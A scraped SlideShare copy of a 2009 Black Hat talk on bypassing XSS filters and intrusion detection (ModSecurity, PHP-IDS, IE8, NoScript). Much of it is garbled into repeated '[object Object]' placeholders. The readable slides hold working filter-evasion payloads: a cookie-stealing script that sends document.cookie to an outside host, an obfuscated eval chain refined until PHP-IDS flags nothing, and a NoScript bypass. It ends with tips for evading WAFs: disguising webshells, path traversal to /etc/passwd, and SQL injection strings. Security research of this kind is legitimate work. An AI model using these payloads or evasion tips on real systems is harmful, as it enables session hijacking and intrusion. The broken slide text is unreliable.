SlideShare une entreprise Scribd logo
1  sur  108
Our Favorite XSS Filters/IDS and how to Attack Them Most recent version of slides can be obtained from  blackhat’s website or  http://p42.us/favxss/
About Us
About Us ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
About Us ,[object Object],[object Object],[object Object],[object Object],[object Object]
The Basics milk before meat?
XSS Basics ,[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],XSS Basics – Helpful Resources
Filter Basics Dangerous? yes no UNTRUSTED APPLICATION
[object Object],Filter Basics Browser Server mod_security PHP-IDS Imperva
[object Object],[object Object],[object Object],[object Object],Our Approach
Evasion Techniques hope you liked the milk
[object Object],[object Object],HTML Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],HTML Tricks
[object Object],[object Object],[object Object],[object Object],HTML Tricks
[object Object],[object Object],HTML Tricks
[object Object],[object Object],XHTML Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],VBScript Tricks
[object Object],[object Object],VBScript Tricks
[object Object],[object Object],Future Tricks?
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Future Tricks?
[object Object],[object Object],[object Object],Other Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],Other Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],Other Tricks
Unicode and XSS Only Mozilla’s 5 thousand lines of code implementation appears to be safe (maybe).
Java’s Modified Unicode Unicode.... 1.0…..  2.0……  3.0...3.1…..  4.0……  5.0…. Modified Unicode
Unicode Quick Intro ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Overlong UTF ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
PHP ,[object Object],[object Object],[object Object],[object Object],[object Object]
Eating chars ,[object Object],[object Object],[object Object],[object Object],[object Object]
Introducing The Filters PHP-IDS Mod_Security IE8 NoScript
ModSecurity http://modsecurity.org/
[object Object],[object Object],ModSecurity Advantages
[object Object],[object Object],[object Object],ModSecurity Disadvantages
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],ModSecurity Filters
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],ModSecurity Filters
The filter will catch: <img src=&quot;x:gif&quot; onerror=&quot;alert(0)&quot;> but miss: <img  src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;eval('al'%2b'lert(0)')&quot;> and <img  src=&quot;x:gif&quot; onerror=&quot;window['al0065rt'](0)&quot;></img> ModSecurity
The filter will catch: &quot;;document.write('<img src=http://p42.us/x.png?' %2b document.cookie %2b '>');&quot; but miss: &quot;;document.write('<img sr'%2b'c=http://p42.us/x.png?' %2b document['cookie'] %2b '>');&quot; ModSecurity
[object Object],[object Object],[object Object],ModSecurity
[object Object],[object Object],ModSecurity
PHP-IDS http://php-ids.org/
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS Advantages
[object Object],[object Object],[object Object],PHP-IDS Disadvantages
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS
(?:,*(?:alert|showmodaldialog|eval)*,)|(?::*eval*[^])|([^:,.?+-]*)?(?<![a-z_@])(*return*)?(?:(?:document*)?(?:.+)?(?:alert|eval|msgbox|showmodaldialog|prompt|write(?:ln)?|confirm|dialog|open))*(?(1)[^]|(?:*[^,.@+-]))|(?:java[]*[]*lang)|(?:*=*new++)|(?:&*+*[^,])|(?:[]*new++[]*)|(?:document) Filter Examples ,[object Object],[object Object],[object Object]
PHP-IDS Developing a Bypass eval(name) Injection Found!  Overall Impact: 17
PHP-IDS Developing a Bypass x=eval y=name x(y) Injection Found!  Overall Impact: 12
PHP-IDS Developing a Bypass x='ev'+'al' x=this[x] y='na'+'me' x(x(y)) Injection Found!  Overall Impact: 46
PHP-IDS Developing a Bypass $$='e' x='ev'+'al' x=this[x] y='nam'+$$ y=x(y) x(y) Injection Found!  Overall Impact: 37
PHP-IDS Developing a Bypass $$='e' x=$$+'val' z=(1)['__par'+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 62
PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' z=(1)[__+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 27
PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 18
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 14
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) Injection Found!  Overall Impact: 07
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)ghi ' Injection Found!  Overall Impact: 07
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y)  'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...' Nothing suspicious was found!
PHP-IDS Developing a Bypass http://p42.us/phpids/95.html ,[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS
[object Object],[object Object],[object Object],[object Object],PHP-IDS
XSS Filter http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx Examining the IE8 XSS Filter by kuza55 (OWASP Australia)
[object Object],[object Object],[object Object],The 3 commandments of the IE filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Compatibility > Security > Performance
[object Object],[object Object],[object Object],Performance + Compatibility
[object Object],[object Object],[object Object],[object Object],What does this mean?
The rules ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],The rules
We will show the remaining  7 of our.. Top 10 reflected XSS attacks and how you can attack with them. Bypassing the Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 4,5,6
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 7,8,9
[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 10
Using CSS-only attacks ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unclosed Quote
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unclosed Quote
[object Object],[object Object],Other Exceptions
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Same Origin Exception + Clickjacking
[object Object],[object Object],[object Object],Disabling the filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Bypassing the JavaScript based Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript based Bypass
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Attacking with the XSS Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Attacking with the XSS Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Q&A with M$
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Q&A with M$ / continued
[object Object],[object Object],[object Object],[object Object],[object Object],XSS Filters in Other Browsers?
NoScript http://noscript.net/
NoScript Advantages ,[object Object],[object Object],[object Object],[object Object]
As any other filter, it's still possible to bypass NoScript's rules, the following attack bypassed NoScript's rules: <a z=“&”x=& onmousemove=t=Object(window.name); ({$:#0=t,z:eval(String(#0#).replace(/@/g,’’))}).z//>     This was fixed last week, have you updated noscript? : http://tinyurl.com/m4nfs9 Bypassing the Filter's Rules
find a bypass 10 minutes before the talk! if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha <<david:  umm... good luck with that Eduardo>> This hasn't been fixed! Found 10m ago
The DoS and pwn on NoScript (for bypassing)   The following example: http://victim.com/xss.php?hello= a-very-long-and-complicated-js-string &html_xss=<script>alert (&quot;pwned&quot;);</script> Will DoS NoScript, and then firefox will kill it, and then your victim will be redirected to your &quot;pwned&quot; webpage. Hacking the Filter
NoScript wont protect websites from attacking themselves, so frames pointing to a redirect that sends to the payload wont be detected by NoScript: Example :  http://tinyurl.com/l5rnyc http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&imgrefurl= http://tinyurl.com/ZWZ8Z4   and  http://tinyurl.com/ZWZ8Z4  redirects to  https://www.google.com/adsense/g-app-single-1.do?websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInput.fullName= <script> Same Origin Exception
Tribute to the stupid IDS Thanks to pretty much every other WAF vendor out there...
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],README
Stop using  alert('xss') . You should now use  prompt('xss') . Rule Number 1
Dont do  <script> . Do <ScRIPT x src=//0x.lv? Rule Number 2
For blind SQL injections. Stop using  ' or 1=1-- . Use  ' or 2=2-- . Rule Number 3
For SQL injections. Stop using  UNION SELECT . Use  UNION ALL SELECT . Rule Number 4
Don’t do  /etc/passwd . Do  /foo/../etc/bar/../passwd . Rule Number 5
Don’t use  http://yourhost.com/r57.txt Use https://yourhost.com/lol.txt Rule Number 6
Don’t call your webshell  c99.php, shell.aspx or cmd.jsp Call it  rofl.php . Rule Number 7
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Conclusions
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Thanks
Q + A ,[object Object]

Contenu connexe

Tendances

An introduction to PhantomJS: A headless browser for automation test.
An introduction to PhantomJS: A headless browser for automation test.An introduction to PhantomJS: A headless browser for automation test.
An introduction to PhantomJS: A headless browser for automation test.BugRaptors
 
High Performance JavaScript 2011
High Performance JavaScript 2011High Performance JavaScript 2011
High Performance JavaScript 2011Nicholas Zakas
 
High Performance JavaScript (Amazon DevCon 2011)
High Performance JavaScript (Amazon DevCon 2011)High Performance JavaScript (Amazon DevCon 2011)
High Performance JavaScript (Amazon DevCon 2011)Nicholas Zakas
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackRan Bar-Zik
 
Testing Mobile JavaScript
Testing Mobile JavaScriptTesting Mobile JavaScript
Testing Mobile JavaScriptjeresig
 
Consegi 2010 - Dicas de Desenvolvimento Web com Ruby
Consegi 2010 - Dicas de Desenvolvimento Web com RubyConsegi 2010 - Dicas de Desenvolvimento Web com Ruby
Consegi 2010 - Dicas de Desenvolvimento Web com RubyFabio Akita
 
JavaScript Performance (at SFJS)
JavaScript Performance (at SFJS)JavaScript Performance (at SFJS)
JavaScript Performance (at SFJS)Steve Souders
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking themMikhail Egorov
 
Web20expo 20080425
Web20expo 20080425Web20expo 20080425
Web20expo 20080425Media Gorod
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.Mikhail Egorov
 
Widget Summit 2008
Widget Summit 2008Widget Summit 2008
Widget Summit 2008Volkan Unsal
 
Going Node At Netflix
Going Node At NetflixGoing Node At Netflix
Going Node At NetflixRyan Anklam
 
Even Faster Web Sites at jQuery Conference '09
Even Faster Web Sites at jQuery Conference '09Even Faster Web Sites at jQuery Conference '09
Even Faster Web Sites at jQuery Conference '09Steve Souders
 
Unobtrusive JavaScript
Unobtrusive JavaScriptUnobtrusive JavaScript
Unobtrusive JavaScriptdaveverwer
 
Enterprise AIR Development for JavaScript Developers
Enterprise AIR Development for JavaScript DevelopersEnterprise AIR Development for JavaScript Developers
Enterprise AIR Development for JavaScript DevelopersAndreCharland
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityMikhail Egorov
 

Tendances (20)

Sxsw 20090314
Sxsw 20090314Sxsw 20090314
Sxsw 20090314
 
An introduction to PhantomJS: A headless browser for automation test.
An introduction to PhantomJS: A headless browser for automation test.An introduction to PhantomJS: A headless browser for automation test.
An introduction to PhantomJS: A headless browser for automation test.
 
High Performance JavaScript 2011
High Performance JavaScript 2011High Performance JavaScript 2011
High Performance JavaScript 2011
 
High Performance JavaScript (Amazon DevCon 2011)
High Performance JavaScript (Amazon DevCon 2011)High Performance JavaScript (Amazon DevCon 2011)
High Performance JavaScript (Amazon DevCon 2011)
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stack
 
Testing Mobile JavaScript
Testing Mobile JavaScriptTesting Mobile JavaScript
Testing Mobile JavaScript
 
Consegi 2010 - Dicas de Desenvolvimento Web com Ruby
Consegi 2010 - Dicas de Desenvolvimento Web com RubyConsegi 2010 - Dicas de Desenvolvimento Web com Ruby
Consegi 2010 - Dicas de Desenvolvimento Web com Ruby
 
JavaScript Performance (at SFJS)
JavaScript Performance (at SFJS)JavaScript Performance (at SFJS)
JavaScript Performance (at SFJS)
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
Web20expo 20080425
Web20expo 20080425Web20expo 20080425
Web20expo 20080425
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
 
Js unit testing
Js unit testingJs unit testing
Js unit testing
 
Widget Summit 2008
Widget Summit 2008Widget Summit 2008
Widget Summit 2008
 
Going Node At Netflix
Going Node At NetflixGoing Node At Netflix
Going Node At Netflix
 
Even Faster Web Sites at jQuery Conference '09
Even Faster Web Sites at jQuery Conference '09Even Faster Web Sites at jQuery Conference '09
Even Faster Web Sites at jQuery Conference '09
 
Unobtrusive JavaScript
Unobtrusive JavaScriptUnobtrusive JavaScript
Unobtrusive JavaScript
 
Enterprise AIR Development for JavaScript Developers
Enterprise AIR Development for JavaScript DevelopersEnterprise AIR Development for JavaScript Developers
Enterprise AIR Development for JavaScript Developers
 
Oscon 20080724
Oscon 20080724Oscon 20080724
Oscon 20080724
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
Cache is King
Cache is KingCache is King
Cache is King
 

En vedette

JavaScript done right
JavaScript done rightJavaScript done right
JavaScript done rightSAPO Sessions
 
Jquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaJquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaTeles Maciel
 
No Javascript Howlers
No Javascript HowlersNo Javascript Howlers
No Javascript HowlersDan Goodwin
 
Webentwicklung für das IPhone
Webentwicklung für das IPhoneWebentwicklung für das IPhone
Webentwicklung für das IPhonereinhardh
 
Jquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaJquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaTeles Maciel
 
Javascript levado a sério
Javascript levado a sérioJavascript levado a sério
Javascript levado a sériosaspi2
 
HTML5@电子商务.com
HTML5@电子商务.comHTML5@电子商务.com
HTML5@电子商务.comkaven yan
 

En vedette (8)

JavaScript done right
JavaScript done rightJavaScript done right
JavaScript done right
 
Jquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaJquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação prática
 
No Javascript Howlers
No Javascript HowlersNo Javascript Howlers
No Javascript Howlers
 
Webentwicklung für das IPhone
Webentwicklung für das IPhoneWebentwicklung für das IPhone
Webentwicklung für das IPhone
 
lecture5
lecture5lecture5
lecture5
 
Jquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaJquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação prática
 
Javascript levado a sério
Javascript levado a sérioJavascript levado a sério
Javascript levado a sério
 
HTML5@电子商务.com
HTML5@电子商务.comHTML5@电子商务.com
HTML5@电子商务.com
 

Similaire à Fav

주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법guestad13b55
 
Teflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceTeflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceSaumil Shah
 
Lecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPLecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPyucefmerhi
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkErlend Oftedal
 
Introduction To Lamp
Introduction To LampIntroduction To Lamp
Introduction To LampAmzad Hossain
 
Developing and testing ajax components
Developing and testing ajax componentsDeveloping and testing ajax components
Developing and testing ajax componentsIgnacio Coloma
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggetsguestbd1cdca
 
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Sergey Ilinsky
 
Javazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicJavazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicTimothy Perrett
 
1. java script language fundamentals
1. java script language fundamentals1. java script language fundamentals
1. java script language fundamentalsRajiv Gupta
 

Similaire à Fav (20)

주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법
 
Teflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceTeflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surface
 
Lecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPLecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITP
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
 
Grails and Dojo
Grails and DojoGrails and Dojo
Grails and Dojo
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
 
JavaScript
JavaScriptJavaScript
JavaScript
 
Jquery 1
Jquery 1Jquery 1
Jquery 1
 
PHP Security
PHP SecurityPHP Security
PHP Security
 
Retrofitting
RetrofittingRetrofitting
Retrofitting
 
Introduction To Lamp
Introduction To LampIntroduction To Lamp
Introduction To Lamp
 
Developing and testing ajax components
Developing and testing ajax componentsDeveloping and testing ajax components
Developing and testing ajax components
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggets
 
Jsp
JspJsp
Jsp
 
Rails and security
Rails and securityRails and security
Rails and security
 
Spring Surf 101
Spring Surf 101Spring Surf 101
Spring Surf 101
 
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
 
Ajax ons2
Ajax ons2Ajax ons2
Ajax ons2
 
Javazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicJavazone 2010-lift-framework-public
Javazone 2010-lift-framework-public
 
1. java script language fundamentals
1. java script language fundamentals1. java script language fundamentals
1. java script language fundamentals
 

Dernier

Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
React Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkReact Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkPixlogix Infotech
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS:  6 Ways to Automate Your Data IntegrationBridging Between CAD & GIS:  6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integrationmarketing932765
 
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxfnnc6jmgwh
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Farhan Tariq
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructureitnewsafrica
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Mark Goldstein
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...itnewsafrica
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesThousandEyes
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Strongerpanagenda
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPathCommunity
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Alkin Tezuysal
 

Dernier (20)

Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
React Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App FrameworkReact Native vs Ionic - The Best Mobile App Framework
React Native vs Ionic - The Best Mobile App Framework
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS:  6 Ways to Automate Your Data IntegrationBridging Between CAD & GIS:  6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
 
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
Arizona Broadband Policy Past, Present, and Future Presentation 3/25/24
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
